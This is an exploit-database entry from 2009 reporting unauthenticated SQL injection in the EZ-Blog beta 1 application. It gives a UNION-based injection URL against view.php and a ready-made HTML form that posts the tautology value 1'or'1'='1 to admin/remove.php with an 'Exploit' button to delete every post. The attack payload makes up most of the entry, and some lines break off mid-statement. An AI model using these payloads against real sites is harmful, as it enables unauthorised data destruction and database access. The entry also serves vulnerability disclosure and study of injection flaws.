EZ-Blog beta1 - Delete All Posts SQL Injection

ID EXPLOITPACK:9F651290C72694B472F56B8D5DC9A6C4
Type exploitpack
Reporter Salvatore Fresta
Modified 2009-03-02T00:00:00


EZ-Blog beta1 - Delete All Posts SQL Injection

                                            *******   Salvatore "drosophila" Fresta   *******

Application:      EZ-Blog
Version:            Beta 1
Bug:                 * Multiple SQL Injection
Exploitation:     Remote
Date:                1 Mar 2009
Discovered by: Salvatore "drosophila" Fresta
Author:             Salvatore "drosophila" Fresta
                         e-mail: drosophilaxxx@gmail.com



SQL Injection:

	Requisites: magic_quotes_gpc = off

	This is a crazy application because it not
	require authentication for posting, deleting,
	etc. and it is entirely vulnerable to SQL
	Injection, as follows:
	http://site/path/public/view.php?storyid=-1' UNION ALL SELECT
	There aren't hight reserved information on the
	database, but it is possible to cause inconvenience.
	The following injection allow to delete all
	<form action="http://site/path/admin/remove.php" method="POST">
	    <input type="hidden" name="kill" value="1'or'1'='1">
	    <input type="hidden" name="confirm" value="1">
	    <input type="hidden" name="rm" value="true">
	    <input type="submit" value="Exploit">

# milw0rm.com [2009-03-02]